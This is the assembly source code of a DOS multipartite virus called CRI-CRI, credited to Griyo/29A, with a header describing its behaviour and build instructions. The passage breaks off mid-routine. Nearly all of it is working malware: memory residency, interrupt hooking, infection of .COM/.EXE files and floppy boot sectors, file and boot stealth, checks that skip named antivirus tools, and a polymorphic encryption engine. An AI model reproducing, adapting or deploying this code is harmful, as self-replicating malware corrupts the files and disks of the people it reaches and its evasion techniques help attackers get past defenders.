;---------------------------------------------------------------------------- ;CRI-CRI ViRuS (CoDe by Griyo/29A) ;---------------------------------------------------------------------------- ;ResiDenT: ;WheN an inFecTed FiLe is Run thE viRus becaMes ResidEnt inTo a UMB ;memoRy bloCk (if aVaLiabLe) or in conVenTionaL memOry. Then iT ;hOOks int13h and int21h. ;InfEcTion (MulTiPartite): ;CriCri wRitEs itSeLf to The End of .Com and .Exe fiLes that aRe eXecUtEd ;or cLosEd aNd to The BooT SectOr of fLoppY diSks tHat are accEsed. During ;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiLe tabLe and HookS ;int03h and int24h. ;CriCri doEs not inFect the fiLes thAt havE diGit or V chaRactErs in ;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs ;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHeir tiMe sTamp. ;SteALth (fiLe and booT LeveL): ;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide ;theiR tRue siZe. The viRus alSo reTurns the OriGinaL boot sEctoR of ;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism ;when some comPressiOn uttiLities are beinG eXecuted. ;PoLymorPhic: ;The viRus is polymorPHic in fiLes and bOOt secToRs. GenerAted PolymorPHic ;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes ;and inteRRupt caLLs. ;---------------------------------------------------------------------------- com segment para 'CODE' assume cs:com,ds:com,es:com,ss:com ;---------------------------------------------------------------------------- ;Virus size in bytes lenvir equ virus_copy-virus_entry ;Virus size in para para_size equ ((lenvir*02h)+0Fh)/10h ;Virus size in sectors sector_size equ ((lenvir+1FFh)/200h) ;Decryptor size in bytes decryptor equ (virus_body-virus_entry) ;Boot code size in bytes boot_size equ (boot_end-boot_code) ;---------------------------------------------------------------------------- ;Create .COM launcher: TASM cricri.asm TLINK /t cricri.obj org 100h ;---------------------------------------------------------------------------- ;Virus entry point ;---------------------------------------------------------------------------- virus_entry: ;Store bp for launcher sub bp,bp ;Buffer were virus build polymorphic decryptor db 0280h dup (90h) virus_body: ;Save segment registers push ds push es ;Check if running from boot or file mov al,byte ptr cs:[prog_type][bp] cmp al,"B" je in_boot_sector jmp go_ahead ;---------------------------------------------------------------------------- ;Virus working from boot sector ;---------------------------------------------------------------------------- in_boot_sector: ;Reset DOS loaded flag mov byte ptr cs:[dos_flag][bp],00h ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Get int 13h vector mov al,13h call get_int ;Save old int 13h mov word ptr cs:[old13h_off][bp],bx mov word ptr cs:[old13h_seg][bp],es ;Calculate our segment position mov ax,cs sub ax,10h mov ds,ax ;Hook int 13h mov al,13h mov dx,offset my_int13h call set_int ;Restore segment registers pop es pop ds ;Reboot system int 19h ;---------------------------------------------------------------------------- ;Wait until dos is loaded ;---------------------------------------------------------------------------- wait_dos: ;Hook int 21h at installation check test_1: cmp ah,01h jne test_2 cmp si,00BADh jne test_2 cmp di,0FACEh je dos_installed ;Hook int 21h if we detect a write operation test_2: cmp ah,03h je dos_installed ret ;Hook int 21h to our handler dos_installed: call push_all ;Set dos loaded flag mov byte ptr cs:[dos_flag],0FFh ;Check dos version mov ah,30h int 21h cmp al,04h jb exit_wait ;Save old int 21h vector mov al,21h call get_int mov word ptr cs:[old21h_off],bx mov word ptr cs:[old21h_seg],es ;Get our segment push cs pop ds ;Point int 21h to our handler mov dx,offset my_int21h mov al,21h call set_int exit_wait: call pop_all ret ;---------------------------------------------------------------------------- ;Running from an executable ;---------------------------------------------------------------------------- go_ahead: ;Installation check mov si,00BADh mov di,0FACEh mov ah,01h mov dl,80h int 13h jc not_installed cmp si,0DEADh jne not_installed cmp di,0BABEh jne not_installed jmp control_end not_installed: ;Check dos version mov ah,30h int 21h cmp al,04h jae check_date jmp control_end check_date: ;Get current date mov ah,2Ah int 21h ;Save today's date mov byte ptr cs:[today][bp],dl ;Activation circunstance: 4th of June cmp dh,06h jne no_activation cmp dl,04h jne no_activation jmp print_credits no_activation: ;Set dos loaded flag xor al,al dec al mov byte ptr cs:[dos_flag][bp],al ;Clear dos running switch mov byte ptr cs:[running_sw],"R" ;Save old int 13h mov al,13h call get_int mov word ptr cs:[old13h_seg][bp],es mov word ptr cs:[old13h_off][bp],bx ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg][bp],es mov word ptr cs:[old03h_off][bp],bx ;Save old int 21h mov al,21h call get_int mov word ptr cs:[old21h_seg][bp],es mov word ptr cs:[old21h_off][bp],bx ;Redirect traced int 21h to int 03h lds dx,dword ptr cs:[old21h][bp] mov al,03h call set_int ;---------------------------------------------------------------------------- ;Memory allocation ;---------------------------------------------------------------------------- sub di,di ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to the dos buffers structure lds si,es:[bx+12h] ;Get address of first umb mov ax,ds:[si+1Fh] cmp ax,0FFFFh je no_umbs ;Follow the chain nextumb: mov ds,ax ;Check for free umb's cmp word ptr ds:[di+01h],di jnz no_free_umb ;Check if there is enought size cmp word ptr ds:[di+03h],para_size+01h ja handle_mcb no_free_umb: ;Check if this is the last umb cmp byte ptr ds:[di+00h],"Z" je no_umbs ;Jump to next umb in the chain mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextumb ;Allocate memory from last mcb no_umbs: ;Get pointer to dos info block mov ah,52h int 03h ;Get pointer to first mcb mov ax,es dec ax mov es,ax add bx,12 lds di,dword ptr es:[bx+00h] ;Follow the mcb chain nextmcb: ;Check if this is the last mcb cmp byte ptr ds:[di+00h],"Z" je ok_mcb ;Next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov ds,ax jmp short nextmcb ok_mcb: ;Check mcb size cmp word ptr ds:[di+03h],para_size+4000h ja ok_mcb_size jmp control_end ok_mcb_size: ;Sub top of memory in psp sub word ptr ds:[di+12h],para_size+01h handle_mcb: ;Sub virus size and mcb size sub word ptr ds:[di+03h],para_size+01h ;Clear the last mcb field mov byte ptr ds:[di+00h],"M" ;Jump to next mcb mov ax,ds inc ax add ax,word ptr ds:[di+03h] mov es,ax inc ax push ax ;Mark mcb as last in the chain mov byte ptr es:[di+00h],"Z" ;Set dos as owner mov word ptr es:[di+01h],0008h ;Set mcb size mov word ptr es:[di+03h],para_size ;Mark UMB as system code mov di,0008h mov ax,"CS" cld stosw xor ax,ax stosw stosw stosw ;Copy to memory pop es mov ax,cs mov ds,ax sub di,di mov si,bp add si,0100h mov cx,lenvir cld rep movsb ;Save virus segment mov ax,es sub ax,10h mov ds,ax ;Hook int 13h mov dx,offset my_int13h mov al,13h call set_int ;Hook int 21h mov dx,offset my_int21h mov al,21h call set_int control_end: ;Restore old int 03h lds dx,dword ptr cs:[old03h][bp] mov al,03h call set_int ;Return to host cmp byte ptr cs:[prog_type][bp],"E" je exit_exe ;---------------------------------------------------------------------------- ;Exit from .COM ;---------------------------------------------------------------------------- exit_com: ;Restore first three bytes mov ax,cs mov es,ax mov ds,ax mov si,offset old_header add si,bp mov di,0100h mov cx,0003h cld rep movsb ;Restore segment registers pop es pop ds ;Check if launcher execution cmp bp,0000h je endprog ;Get control back to host push cs mov ax,0100h push ax call zero_all retf ;Exit program if launcher execution endprog: mov ax,4C00h int 21h ;---------------------------------------------------------------------------- ;Exit from .EXE ;---------------------------------------------------------------------------- exit_exe: ;Restore segment registers pop es pop ds ;Get control back to host mov bx,word ptr cs:[file_buffer+16h][bp] mov ax,cs sub ax,bx mov dx,ax add ax,word ptr cs:[old_header+16h][bp] add dx,word ptr cs:[old_header+0Eh][bp] mov bx,word ptr cs:[old_header+14h][bp] mov word ptr cs:[exeret][bp],bx mov word ptr cs:[exeret+02h][bp],ax mov ax,word ptr cs:[old_header+10h][bp] mov word ptr cs:[fix1][bp],dx mov word ptr cs:[fix2][bp],ax call zero_all db 0B8h fix1: dw 0000h cli mov ss,ax db 0BCh fix2: dw 0000h sti db 0EAh exeret: dw 0000h dw 0000h ;---------------------------------------------------------------------------- ;Virus int 13h handler ;---------------------------------------------------------------------------- my_int13h: cmp byte ptr cs:[dos_flag],00h jne ok_dos_flag call wait_dos ok_dos_flag: call push_all ;Installation check cmp ah,01h jnz not_check cmp si,00BADh jne my13h_exit cmp di,0FACEh jne my13h_exit call pop_all mov si,0DEADh mov di,0BABEh stc cmc retf 2 not_check: ;Do not use our int 13h handler if we are using our int 21h handler cmp byte ptr cs:[running_sw],"R" jne my13h_exit ;Check for read operations cmp ah,02h jne short my13h_exit ;Side 0 of drive a: or dx,dx jnz short my13h_exit ;Track 0, sector 1 cmp cx,0001h je infect_floppy ;Get control back to old int 13h my13h_exit: call pop_all jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------- ;Infect floppy on drive a: ;---------------------------------------------------------------------------- infect_floppy: ;Perform read operation pushf call dword ptr cs:[old13h] jnc boot_read_ok call pop_all stc retf 2 boot_read_ok: ;Check for JMP SHORT at the beginning cmp byte ptr es:[bx+00h],0EBh jne exit_disk ;Check if infected call get_position cmp word ptr es:[di+boot_marker-boot_code],"RC" jne not_infected jmp stealth_boot not_infected: ;Check for mbr marker also in floppy cmp word ptr es:[bx+01FEh],0AA55h je floppy_infection exit_disk: call pop_all stc cmc retf 2 ;Calculate track and head for floppy floppy_infection: ;Get sectors per track mov ax,word ptr es:[bx+18h] mov cx,ax ;Cut one track for virus body sub word ptr es:[bx+13h],ax mov ax,word ptr es:[bx+13h] xor dx,dx ;Divide total sectors by sectors per track div cx xor dx,dx ;Get heads parameter mov cx,word ptr es:[bx+1Ah] push cx ;Divide tracks by heads div cx push ax xchg ah,al mov cl,06h shl al,cl or al,01h ;Save virus body position in floopy mov word ptr cs:[load_cx],ax pop ax pop cx xor dx,dx div cx mov byte ptr cs:[load_dh],dl ;Use floppy root directory for old boot sector mov cx,000Eh mov dx,0100h ;Write original boot sector mov ax,0301h pushf call dword ptr cs:[old13h] jc exit13h_inf ok_original: ;Move virus loader into boot sector push cs pop ds mov si,offset boot_code mov cx,boot_size cld rep movsb write_boot: ;Reset disk controler xor ax,ax pushf call dword ptr cs:[old13h] ;************old13h] ;Write loader mov ax,0301h xor dx,dx mov cx,0001h pushf call dword ptr cs:[old13h] ;+++++++++++old13h] jnc ok_loader exit13h_inf: call pop_all stc cmc retf 2 ok_loader: ;Set boot flag mov byte ptr cs:[prog_type],"B" ;Perform encryption call do_encrypt push cs pop es ;Write virus body mov cx,word ptr cs:[load_cx] mov dh,byte ptr cs:[load_dh] mov bx,offset virus_copy mov ax,0300h+sector_size pushf call dword ptr cs:[old13h] ;+++++++++++++old13h] ;Hide changes made to boot sector stealth_boot: call pop_all mov cl,03h mov al,01h mov cl,0Eh mov dh,01h jmp dword ptr cs:[old13h] ;---------------------------------------------------------------------------- ;Code inserted into boot sector ;---------------------------------------------------------------------------- boot_code: cli xor ax,ax mov ss,ax mov es,ax mov ds,ax mov si,7C00h mov sp,si sti ;Allocate some BIOS memory sub word ptr ds:[0413h],(lenvir/512)+1 mov ax,word ptr ds:[0413h] ;Calculate residence address mov cl,06h shl ax,cl mov es,ax ;Reset disk xor ax,ax int 13h ;Get position in disk ;mov cx,XXXXh db 0B9h load_cx dw 0000h ;mov dh,XXh db 0B6h load_dh db 00h ;Prepare for reading virus body try_again: mov ax,0200h+sector_size ;Read at es:bx xor bx,bx ;Read virus body into allocated memory int 13h jc error_init ;Continue execution on virus body push es push bx retf ;Error during virus initialization error_init: int 18h ;---------------------------------------------------------------------------- ;Infection marker ;---------------------------------------------------------------------------- boot_marker db "CR" ;End of boot code boot_end: ;---------------------------------------------------------------------------- ;Virus int 21h ;---------------------------------------------------------------------------- my_int21h: call push_all ;Set int 21h running switch mov byte ptr cs:[running_sw],"F" ;Anti-heuristic function number examination xor ax,0FFFFh mov word ptr cs:[dos_function],ax ;Save old int 24h mov al,24h call get_int mov word ptr cs:[old24h_seg],es mov word ptr cs:[old24h_off],bx ;Hook int 24h to a do-nothing handler push cs pop ds mov dx,offset my_int24h mov al,24h call set_int ;Save old int 03h mov al,03h call get_int mov word ptr cs:[old03h_seg],es mov word ptr cs:[old03h_off],bx ;Hook int 03h to original int 21h lds dx,dword ptr cs:[old21h] mov al,03h call set_int ;Check for special files mov ah,51h ;62h? int 03h dec bx mov ds,bx mov ax,word ptr ds:[0008h] mov byte ptr cs:[stealth_sw],00h ;Check if arj is running cmp ax,"RA" je disable_stealth ;Check for pkzip utils cmp ax,"KP" je disable_stealth ;Check for lha cmp ax,"HL" je disable_stealth ;Check for backup cmp ax,"AB" je disable_stealth jmp no_running disable_stealth: mov byte ptr cs:[stealth_sw],0FFh no_running: ;Restore and re-save all regs call pop_all call push_all ;Put function number into bx mov bx,word ptr cs:[dos_function] ;---------------------------------------------------------------------------- ;Infection functions ;---------------------------------------------------------------------------- infection_00: ;Exec function cmp bx,(4B00h xor 0FFFFh) jne infection_01 jmp dos_exec infection_01: ;Close file (Handle) cmp bh,(3Eh xor 0FFh) jne stealth_dos jmp dos_close ;---------------------------------------------------------------------------- ;Stealth functions ;---------------------------------------------------------------------------- stealth_dos: ;Check if stealth is disabled cmp byte ptr cs:[stealth_sw],0FFh je m21h_exit ;Open file (Handle) cmp bh,(3Dh xor 0FFh) jne stealth_00 jmp dos_open stealth_00: ;Extended open cmp bh,(6Ch xor 0FFh) jne stealth_01 jmp dos_open stealth_01: ;Directory stealth works with function Findfirst (fcb) cmp bh,(11h xor 0FFh) jne stealth_02 jmp ff_fcb stealth_02: ;Directory stealth works also with function Findnext(fcb) cmp bh,(12h xor 0FFh) jne stealth_03 jmp ff_fcb stealth_03: ;Search stealth works with Findfirst (handle) cmp bh,(4Eh xor 0FFh) jne stealth_04 jmp ff_handle stealth_04: ;Search stealth works also with Findnext (handle) cmp bh,(4Fh xor 0FFh) jne stealth_05 jmp ff_handle stealth_05: ;Read stealth cmp bh,(3Fh xor 0FFh) jne stealth_06 jmp dos_read stealth_06: ;Disinfect if debuggers exec cmp bx,(4B01h xor 0FFFFh) jne stealth_07 jmp dos_load_exec stealth_07: ;Disinfect if file write cmp bh,(40h xor 0FFh) jne stealth_08 jmp dos_write stealth_08: ;Get file date/time cmp bx,(5700h xor 0FFFFh) jne stealth_09 jmp dos_get_time stealth_09: ;Set file date/time cmp bx,(5701h xor 0FFFFh) jne m21h_exit jmp dos_set_time ;Get control back to dos m21h_exit: ;Free int 03h and int 24h call unhook_ints call pop_all jmp dword ptr cs:[old21h] ;---------------------------------------------------------------------------- ;Directory stealth with functions 11h and 12h (fcb) ;---------------------------------------------------------------------------- ff_fcb: call pop_all ;Call DOS service int 03h ;Save all regs call push_all ;Check for errors cmp al,255 je nofound_fcb ;Get current PSP mov ah,51h int 03h ;Check if call comes from DOS mov es,bx cmp bx,es:[16h] jne nofound_fcb mov bx,dx mov al,ds:[bx+00h] push ax ;Get DTA mov ah,2Fh int 03h pop ax inc al jnz fcb_ok add bx,07h fcb_ok: ;Check if infected mov ax,word ptr es:[bx+17h] and al,1Fh cmp al,1Fh jne nofound_fcb ;Restore seconds and byte ptr es:[bx+17h],0E0h ;Restore original file size sub word ptr es:[bx+1Dh],lenvir sbb word ptr es:[bx+1Fh],0000h nofound_fcb: ;Restore some registers and return call unhook_ints call pop_all iret ;---------------------------------------------------------------------------- ;Search stealth with functions 4Eh and 4Fh (handle) ;---------------------------------------------------------------------------- ff_handle: call pop_all ;Call DOS service int 03h jnc ffhok call unhook_ints stc retf 2 ffhok: ;Save result call push_all ;Get DTA mov ah,2Fh int 03h ;Check if infected mov ax,word ptr es:[bx+16h] and al,1Fh cmp al,1Fh jne nofound_handle ;Restore seconds field and byte ptr es:[bx+16h],0E0h ;Restore original size sub word ptr es:[bx+1Ah],lenvir sbb word ptr es:[bx+1Ch],0000h nofound_handle: ;Restore some registers and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------- ;Load exec ;---------------------------------------------------------------------------- dos_load_exec: ;Open file for read-only mov ax,3D00h int 03h jnc loaded jmp m21h_exit loaded: xchg bx,ax jmp do_disinfect ;---------------------------------------------------------------------------- ;Write file ;---------------------------------------------------------------------------- dos_write: call pop_all call push_all do_disinfect: ;Get sft address in es:di call get_sft jc bad_operation ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je clear_header bad_operation: jmp load_error clear_header: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Get file true size if write operation cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) jne no_size_fix ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h no_size_fix: ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_disin ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] restore_header: xor byte ptr cs:[si+00h],al inc si loop restore_header ;Write old header call seek_begin mov dx,offset virus_copy mov ah,40h mov cx,0019h-01h int 03h ;Truncate file call seek_end sub word ptr es:[di+15h],lenvir sbb word ptr es:[di+17h],0000h xor cx,cx mov ah,40h int 03h exit_disin: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date and file time on closing or byte ptr es:[di+06h],40h ;Clear seconds field and byte ptr es:[di+0Dh],0E0h load_error: ;Check if write function cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh) je not_load ;Close file mov ah,3Eh int 03h not_load: jmp m21h_exit ;---------------------------------------------------------------------------- ;Get file date/time ;---------------------------------------------------------------------------- dos_get_time: call pop_all ;Call function int 03h jnc ok_get_time ;Exit if error call unhook_ints stc retf 2 ok_get_time: call push_all ;Check if file is already infected mov al,cl mov ah,1Fh and al,ah cmp al,ah jne no_get_time call pop_all and cl,0E0h jmp short exit_get_time no_get_time: call pop_all exit_get_time: call unhook_ints stc cmc retf 2 ;---------------------------------------------------------------------------- ;Set file date/time ;---------------------------------------------------------------------------- dos_set_time: call pop_all call push_all ;Get address of sft entry call get_sft jc no_set_time ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je ok_set_time no_set_time: ;Exit if not infected or error jmp m21h_exit ok_set_time: ;Perform time change but restore our marker call pop_all or cl,1Fh call push_all jmp m21h_exit ;---------------------------------------------------------------------------- ;Open file ;---------------------------------------------------------------------------- dos_open: ;Call dos function call pop_all int 03h jnc do_open open_fail: call unhook_ints stc retf 2 do_open: call push_all ;Get sft for file handle xchg bx,ax call get_sft jc no_changes ;Check if file is infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_changes ;If infected stealth true size sub word ptr es:[di+11h],lenvir sbb word ptr es:[di+13h],0000h no_changes: call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------- ;Read file ;---------------------------------------------------------------------------- dos_read: ;Restore function entry regs call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc no_read_stealth xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx ;Get address of sft entry call get_sft jc no_read_stealth ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah jne no_read_stealth ;Check and save current offset in file mov ax,word ptr es:[di+15h] cmp ax,0019h jae no_read_stealth cmp word ptr es:[di+17h],0000h jne no_read_stealth mov word ptr cs:[file_offset],ax call pop_all ;Save address of read buffer mov word ptr cs:[read_off],dx mov word ptr cs:[read_seg],ds ;Perform read operation int 03h jnc check_read ;Error during file read call unhook_ints stc retf 2 no_read_stealth: ;Exit if no read stealth jmp m21h_exit check_read: call push_all call get_sft ;Save offset position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Save file size push word ptr es:[di+11h] push word ptr es:[di+13h] ;Add virus size to file size add word ptr es:[di+11h],lenvir adc word ptr es:[di+13h],0000h ;Point to old header in file call seek_end sub word ptr es:[di+15h],0019h+01h sbb word ptr es:[di+17h],0000h ;Read old header and encryption key push cs pop ds mov ah,3Fh mov cx,0019h+01h mov dx,offset virus_copy int 03h jc exit_read ;Decrypt header mov cx,0019h push dx pop si mov al,byte ptr cs:[si+19h] decrypt_header: xor byte ptr cs:[si+00h],al inc si loop decrypt_header ;Move old header into read buffer les di,dword ptr cs:[read_ptr] mov si,offset virus_copy mov cx,0019h-01h mov ax,word ptr cs:[file_offset] add di,ax add si,ax sub cx,ax cld rep movsb exit_read: call get_sft ;Restore file size pop word ptr es:[di+13h] pop word ptr es:[di+11h] ;Restore old offset in file pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore regs and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------- ;Infect file at execution ds:dx ptr to filename ;---------------------------------------------------------------------------- dos_exec: ;Open file for read-only mov ax,3D00h int 03h jnc ok_file_open jmp file_error ok_file_open: xchg bx,ax jmp short from_open ;---------------------------------------------------------------------------- ;Infect file at close ;---------------------------------------------------------------------------- dos_close: call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc file_error xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx from_open: ;Get sft address in es:di call get_sft jc file_error ;Check device info word mov ax,word ptr es:[di+05h] ;Check if character device handle test al,80h jnz file_error ;Check if remote file handle test ah,0Fh jnz file_error ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je file_error ;Do not infect files with todays date mov al,byte ptr es:[di+0Fh] and al,1Fh cmp al,byte ptr cs:[today] je file_error ;Check file name in sft mov cx,0Bh mov si,di name_loop: ;Do not infect files with numbers in their file name cmp byte ptr es:[si+20h],"0" jb file_name1 cmp byte ptr es:[si+20h],"9" jbe file_error file_name1: ;Do not infect files witch name contains v's cmp byte ptr es:[si+20h],"V" je file_error ;Do not infect files with mo in their name inc si loop name_loop ;Get first pair mov ax,word ptr es:[di+20h] ;Do not infect Thunderbyte antivirus utils cmp ax,"BT" je file_error ;Do not infect McAfee's Scan cmp ax,"CS" je file_error ;Do not infect F-Prot scanner cmp ax,"-F" je file_error ;Do not infect Solomon's Guard cmp ax,"UG" jne file_infection file_error: jmp m21h_exit file_infection: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax test al,04h jnz system_file ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] call seek_begin ;Read first 20h bytes push cs pop ds mov ah,3Fh mov cx,0020h mov dx,offset file_buffer int 03h ;Seek to end of file and get file size call seek_end ;Do not infect too small .exe or .com files or dx,dx jnz ok_min_size cmp ax,lenvir+0410h jbe exit_inf ok_min_size: ;Check for .com extension cmp word ptr es:[di+28h],"OC" jne no_com cmp byte ptr es:[di+2Ah],"M" je inf_com no_com: ;Check for .exe mark in file header mov cx,word ptr cs:[file_buffer+00h] ;Add markers M+Z add cl,ch cmp cl,"Z"+"M" jne exit_inf ;Check for .exe extension cmp word ptr es:[di+28h],"XE" jne exit_inf cmp byte ptr es:[di+2Ah],"E" jne exit_inf jmp inf_exe ;---------------------------------------------------------------------------- ;Exit from file infection ;---------------------------------------------------------------------------- exit_inf: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] system_file: ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date/time on closing or byte ptr es:[di+06h],40h ;Check if close function cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) je no_close_file ;Close file mov ah,3Eh int 03h no_close_file: jmp m21h_exit ;---------------------------------------------------------------------------- ;Infect .COM file ;---------------------------------------------------------------------------- inf_com: ;Don't infect too big .com files cmp ax,0FFFFh-(lenvir+10h) jae exit_inf ;Copy header call copy_header ;Get file length as entry point sub ax,03h ;Write a jump to virus into header mov byte ptr cs:[file_buffer+00h],0E9h mov word ptr cs:[file_buffer+01h],ax ;Set .com marker mov byte ptr cs:[prog_type],"C" ;Encrypt and infect jmp get_control ;---------------------------------------------------------------------------- ;Infect .EXE file ;---------------------------------------------------------------------------- inf_exe: ;Don't infect Windows programs cmp word ptr cs:[file_buffer+18h],0040h jae bad_exe ;Don't infect overlays cmp word ptr cs:[file_buffer+1Ah],0000h jne bad_exe ;Check maxmem field cmp word ptr cs:[file_buffer+0Ch],0FFFFh jne bad_exe ;Save file size push ax push dx ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_1 inc ax no_round_1: cmp ax,word ptr cs:[file_buffer+04h] jne no_fit_size cmp dx,word ptr cs:[file_buffer+02h] je header_ok no_fit_size: pop dx pop ax bad_exe: ;Exit if cant infect .exe jmp exit_inf header_ok: call copy_header pop dx pop ax push ax push dx mov cx,10h div cx sub ax,word ptr cs:[file_buffer+08h] ;Store new entry point mov word ptr cs:[file_buffer+14h],dx mov word ptr cs:[file_buffer+16h],ax ;Store new stack position add dx,lenvir+0410h and dx,0FFFEh inc ax mov word ptr cs:[file_buffer+0Eh],ax mov word ptr cs:[file_buffer+10h],dx ;Restore size pop dx pop ax ;Add virus size to file size add ax,lenvir adc dx,0000h ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_2 inc ax no_round_2: ;Store new size mov word ptr cs:[file_buffer+04h],ax mov word ptr cs:[file_buffer+02h],dx ;Set .exe marker mov byte ptr cs:[prog_type],"E" ;Encryption an infection continues on next routine ;---------------------------------------------------------------------------- ;Encryption and physical infection ;---------------------------------------------------------------------------- get_control: call do_encrypt ;Write virus body to the end of file mov ah,40h mov cx,lenvir mov dx,offset virus_copy int 03h jc no_good_write ;Seek to beginning of file call seek_begin ;Write new header mov ah,40h mov cx,0019h-01h mov dx,offset file_buffer int 03h ;Mark file as infected or byte ptr es:[di+0Dh],1Fh no_good_write: ;Jump to infection end jmp exit_inf ;---------------------------------------------------------------------------- ;Encrypt virus body with variable key and generate a ;polymorphic decryptor. ;---------------------------------------------------------------------------- do_encrypt: call push_all ;Initialize engine xor ax,ax mov word ptr cs:[last_subroutine],ax mov word ptr cs:[decrypt_sub],ax mov word ptr cs:[last_fill_type],ax dec ax mov word ptr cs:[last_step_type],ax mov byte ptr cs:[last_int_type],al mov byte ptr cs:[decrypt_pointer],al ;Choose counter and pointer register call get_rnd and al,01h mov byte ptr cs:[address_register],al ;Choose register for decryption instructions call get_rnd and al,38h mov byte ptr cs:[decrypt_register],al ;Chose segment registers for memory operations call get_seg_reg mov byte ptr cs:[address_seg_1],al call get_seg_reg mov byte ptr cs:[address_seg_2],al ;Fill our buffer with garbage mov ax,cs mov ds,ax mov es,ax mov di,offset virus_copy push di mov cx,decryptor cld fill_garbage: call get_rnd stosb loop fill_garbage pop di ;Now es:di points to the buffer were engine put polymorphic code choose_type: ;Select the type of filler mov ax,(end_step_table-step_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_step_type] je choose_type mov word ptr cs:[last_step_type],ax add ax,ax mov bx,ax cld call word ptr cs:[step_table+bx] cmp byte ptr cs:[decrypt_pointer],05h jne choose_type ;Generate some garbage call rnd_garbage ;Generate a jump to virus body mov al,0E9h stosb mov ax,decryptor mov bx,di sub bx,offset virus_copy-02h sub ax,bx stosw ;Store random crypt value get_rnd_key: call get_rnd or al,al jz get_rnd_key xchg bx,ax mov byte ptr cs:[clave_crypt],bl ;Copy virus body to the working area while encrypt mov si,offset virus_body mov di,offset virus_copy+decryptor mov cx,lenvir-decryptor-01h cld load_crypt: lodsb xor al,bl stosb loop load_crypt ;Store key without encryption movsb ;Restore all regs and return to infection routine call pop_all ret ;----------------------------------------------------------------------------- ;Get a valid opcode for memory operations ;----------------------------------------------------------------------------- get_seg_reg: cmp byte ptr cs:[prog_type],"C" je use_ds_es mov al,2Eh ret use_ds_es: call get_rnd and al,18h cmp al,10h je get_seg_reg or al,26h ret ;----------------------------------------------------------------------------- ;Generate next decryptor instruction ;----------------------------------------------------------------------------- next_decryptor: ;Next instruction counter inc byte ptr cs:[decrypt_pointer] ;Check if there is a subroutine witch contains next decryptor instruction cmp word ptr cs:[decrypt_sub],0000h je build_now ;If so build a call instruction to that subroutine call do_call_decryptor ret build_now: ;Else get next instruction to build mov bl,byte ptr cs:[decrypt_pointer] ;Generate decryption instructions just into subroutines cmp bl,03h jne entry_from_sub ;No instruction was created so restore old pointer dec byte ptr cs:[decrypt_pointer] ret entry_from_sub: ;Entry point if calling from decryptor subroutine building xor bh,bh add bx,bx ;Build instruction call word ptr cs:[instruction_table+bx] ret ;----------------------------------------------------------------------------- ;Get delta offset ;----------------------------------------------------------------------------- inst_get_delta: ;Decode a call to next instruction and pop bp push di mov ax,00E8h stosw mov ax,5D00h stosw ;Generate some garbage call rnd_garbage ;Decode a sub bp mov ax,0ED81h stosw ;Store address of label pop ax sub ax,offset virus_copy-0103h no_sub_psp: stosw ret ;----------------------------------------------------------------------------- ;Load counter register ;----------------------------------------------------------------------------- inst_load_counter: mov al,0BEh add al,byte ptr cs:[address_register] stosb ;Store size of encrypted data mov ax,lenvir-decryptor-01h stosw ret ;----------------------------------------------------------------------------- ;Load pointer to encrypted data ;----------------------------------------------------------------------------- inst_load_pointer: ;Load di as pointer mov al,0BFh sub al,byte ptr cs:[address_register] stosb ;Store offset position of encrypted data mov ax,offset virus_body stosw ;Generate garbage in some cases call rnd_garbage ;Generate add reg,bp mov ch,byte ptr cs:[address_register] mov cl,03h 